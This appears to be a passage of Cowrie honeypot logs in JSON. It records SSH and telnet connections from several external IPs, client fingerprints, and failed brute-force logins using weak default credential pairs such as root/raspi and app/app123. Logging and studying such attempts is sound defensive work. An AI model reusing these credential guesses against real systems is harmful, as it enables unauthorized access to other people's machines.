{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":43368,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba88dc6bb251","protocol":"ssh","message":"New connection: 189.113.47.155:43368 (159.203.135.109:22) [session: ba88dc6bb251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:48.599037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:48.603839Z","src_ip":"189.113.47.155","session":"ba88dc6bb251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:48.719602Z","src_ip":"189.113.47.155","session":"ba88dc6bb251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspi","message":"login attempt [root/raspi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:49.215858Z","src_ip":"189.113.47.155","session":"ba88dc6bb251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:50.334039Z","src_ip":"189.113.47.155","session":"ba88dc6bb251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5dfcbf2db3","protocol":"ssh","message":"New connection: 8.218.166.49:60730 (10.17.0.5:22) [session: fd5dfcbf2db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:54.318301Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38318,"dst_ip":"10.17.0.5","dst_port":22,"session":"a06d5c51e6a5","protocol":"ssh","message":"New connection: 8.218.166.49:38318 (10.17.0.5:22) [session: a06d5c51e6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:58.921103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:58.926219Z","src_ip":"8.218.166.49","session":"a06d5c51e6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:08.519845Z","src_ip":"8.218.166.49","session":"a06d5c51e6a5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:14.155791Z","src_ip":"8.218.166.49","session":"fd5dfcbf2db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:14.159816Z","src_ip":"8.218.166.49","session":"fd5dfcbf2db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":36830,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bf8db05362d","protocol":"ssh","message":"New connection: 101.36.124.219:36830 (159.203.135.109:22) [session: 6bf8db05362d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:25.364759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:25.369726Z","src_ip":"101.36.124.219","session":"6bf8db05362d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:25.584679Z","src_ip":"101.36.124.219","session":"6bf8db05362d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:26.476827Z","src_ip":"101.36.124.219","session":"6bf8db05362d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:25:27.693794Z","src_ip":"101.36.124.219","session":"6bf8db05362d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:06.891115Z","src_ip":"8.218.166.49","session":"ae420c91668b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:10.194306Z","src_ip":"8.218.166.49","session":"a06d5c51e6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":58223,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f59782a791","protocol":"ssh","message":"New connection: 88.147.30.59:58223 (159.203.135.109:22) [session: 83f59782a791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:12.074825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:12.081894Z","src_ip":"88.147.30.59","session":"83f59782a791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:12.204596Z","src_ip":"88.147.30.59","session":"83f59782a791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pages","message":"login attempt [root/pages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:12.704828Z","src_ip":"88.147.30.59","session":"83f59782a791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:13.827067Z","src_ip":"88.147.30.59","session":"83f59782a791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"83.7","message":"Connection lost after 83.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:22.649687Z","src_ip":"8.218.166.49","session":"a06d5c51e6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":33704,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e3a709c2da7","protocol":"ssh","message":"New connection: 189.113.47.155:33704 (159.203.135.109:22) [session: 2e3a709c2da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:27.974003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:27.979498Z","src_ip":"189.113.47.155","session":"2e3a709c2da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:28.095177Z","src_ip":"189.113.47.155","session":"2e3a709c2da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"time","message":"login attempt [root/time] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:28.592220Z","src_ip":"189.113.47.155","session":"2e3a709c2da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:29.711319Z","src_ip":"189.113.47.155","session":"2e3a709c2da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00233292579651,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:31.337576Z","src_ip":"82.147.206.14","session":"cb3066a85d2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10716,"dst_ip":"10.17.0.5","dst_port":23,"session":"48715b815f7c","protocol":"telnet","message":"New connection: 82.147.206.14:10716 (10.17.0.5:23) [session: 48715b815f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:31.793801Z"}
{"eventid":"cowrie.session.closed","duration":120.0012800693512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:32.491105Z","src_ip":"82.147.206.14","session":"14d581b3ee8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10717,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af969be4156","protocol":"telnet","message":"New connection: 82.147.206.14:10717 (10.17.0.5:23) [session: 8af969be4156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:32.932886Z"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:34.799710Z","src_ip":"8.218.166.49","session":"ae420c91668b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:37.756479Z","src_ip":"8.218.166.49","session":"5478f8589ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"113.6","message":"Connection lost after 113.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:39.687103Z","src_ip":"8.218.166.49","session":"ae420c91668b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43314,"dst_ip":"10.17.0.5","dst_port":22,"session":"7075a742d592","protocol":"ssh","message":"New connection: 8.218.166.49:43314 (10.17.0.5:22) [session: 7075a742d592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:44.377897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:44.416614Z","src_ip":"8.218.166.49","session":"7075a742d592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:45.529571Z","src_ip":"8.218.166.49","session":"7075a742d592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":37538,"dst_ip":"159.203.135.109","dst_port":22,"session":"52cd77dd8b4d","protocol":"ssh","message":"New connection: 101.36.124.219:37538 (159.203.135.109:22) [session: 52cd77dd8b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:46.178867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:26:46.187672Z","src_ip":"101.36.124.219","session":"52cd77dd8b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 